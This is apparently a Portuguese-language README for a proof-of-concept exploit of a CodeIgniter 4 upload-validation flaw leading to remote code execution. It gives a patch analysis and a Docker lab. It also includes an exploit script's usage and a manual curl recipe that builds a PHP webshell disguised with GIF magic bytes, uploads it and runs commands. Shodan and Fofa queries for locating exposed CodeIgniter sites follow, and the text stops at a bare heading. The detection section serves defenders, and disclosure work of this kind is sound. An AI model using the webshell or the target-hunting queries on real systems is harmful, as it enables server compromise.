CVE-2026-63223 PoC — CodeIgniter 4 RCE por Upload de Arquivo

CVSS 9.8 (Crítico) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Upload irrestrito de arquivo com tipo perigoso
Corrigido: CodeIgniter 4 v4.7.4
Aviso de segurança: GHSA-mmj4-63m4-r6h5

---

Resumo da Vulnerabilidade

As regras de validação de upload de arquivos is_image e mime_in do CodeIgniter 4 inspecionam apenas o tipo MIME derivado do conteúdo (magic bytes), e não a extensão do nome de arquivo fornecida pelo cliente.

Um atacante não autenticado pode adicionar magic bytes de imagem (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) a um webshell PHP, nomeá-lo shell.php, e ele passará pela validação is_image ou mime_in mantendo uma extensão executável perigosa. Quando o arquivo enviado é armazenado em um diretório acessível via web, o atacante obtém execução remota de código arbitrária.

Condições de Acionamento (todas as três devem ser atendidas)

1. O aplicativo valida uploads usando is_image ou mime_in sem uma verificação independente de extensão (ext_in)
2. O arquivo enviado é salvo usando o nome de arquivo fornecido pelo cliente (preservando a extensão .php)
3. Os uploads são armazenados em um diretório acessível via web onde o servidor executa PHP

---

Análise do Patch

A correção na v4.7.4 adiciona dois novos métodos auxiliares e os integra às regras de validação:

is_image — Antes vs Depois

// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← NEW
    return false;
}
return true;

mime_in — Antes vs Depois

// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← NEW
    return false;
}
return true;

Novos Métodos Auxiliares

// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

Ponto-chave: A correção usa os métodos existentes Mimes::guessTypeFromExtension() e $file->guessExtension(), adicionando uma segunda camada de validação. Uploads sem extensão (ex.: objetos JavaScript Blob) ainda são aceitos.

---

Componentes do PoC

CVE-2026-63223-POC/
├── README.md                    ← this file
├── Dockerfile                   ← vulnerable lab setup
├── docker-compose.yml           ← easy `docker compose up`
├── exploit/
│   └── exploit.py               ← Python exploit script
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← vulnerable controller
    ├── app/Config/Routes.php         ← routing
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image bypass form
        ├── upload_form_doc.php       ← mime_in bypass form
        └── upload_form_safe.php      ← SAFE reference form

---

Início Rápido — Laboratório Docker

# Build & start the vulnerable app
docker compose up -d

# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# Open in browser
open http://localhost:8080/upload/avatar

Endpoints

Endpoint	Vulnerabilidade	Validação
/upload/avatar	VULNERÁVEL	apenas is_image
/upload/document	VULNERÁVEL	apenas mime_in
/upload/safe	SEGURO (controle)	is_image + ext_in

---

Exploração

Método 1 — Interativo

# Install dependency
pip install requests

# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

Método 2 — Manual (curl)

# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data

# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# Execute
curl http://localhost:8080/uploads/evil.php?c=id

Método 3 — Diferentes disfarces de MIME

# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

---

Por Que Funciona

O superglobal $_FILES do PHP e o objeto UploadedFile do CodeIgniter carregam duas informações separadas:

1. type / getMimeType() — Derivado dos magic bytes do arquivo (com base no conteúdo), enviado pelo navegador como parte Content-Type do upload multipart
2. name / getClientName() — O nome original do arquivo enviado pelo cliente, incluindo a extensão

Antes da correção, is_image e mime_in verificavam apenas o item #1. Um atacante envia:

Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>

• ✅ is_image vê image/gif → passa
• ✅ Arquivo salvo como shell.php (nome do cliente preservado)
• ✅ Apache/PHP-FPM executa arquivos .php no diretório de uploads → RCE

Após a correção, a extensão é verificada de forma cruzada:

• ❌ hasInvalidImageClientExtension() vê .php → rejeita

---

Detecção e Caça

Detecção em Logs / Forense

Procure por arquivos PHP/PHTML/PHP5 com magic bytes de imagem no seu diretório de uploads:

# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# Or check raw bytes
xxd uploads/*.php | head

Consultas Shodan

# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"

# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"

# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"

# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"

# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"

Consultas Fofa

# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"

# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"

# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"

# CI4 session fingerprint in Set-Cookie
header="ci_session"

# Broad CI4 detection
app="CodeIgniter Framework"

ZoomEye / Censys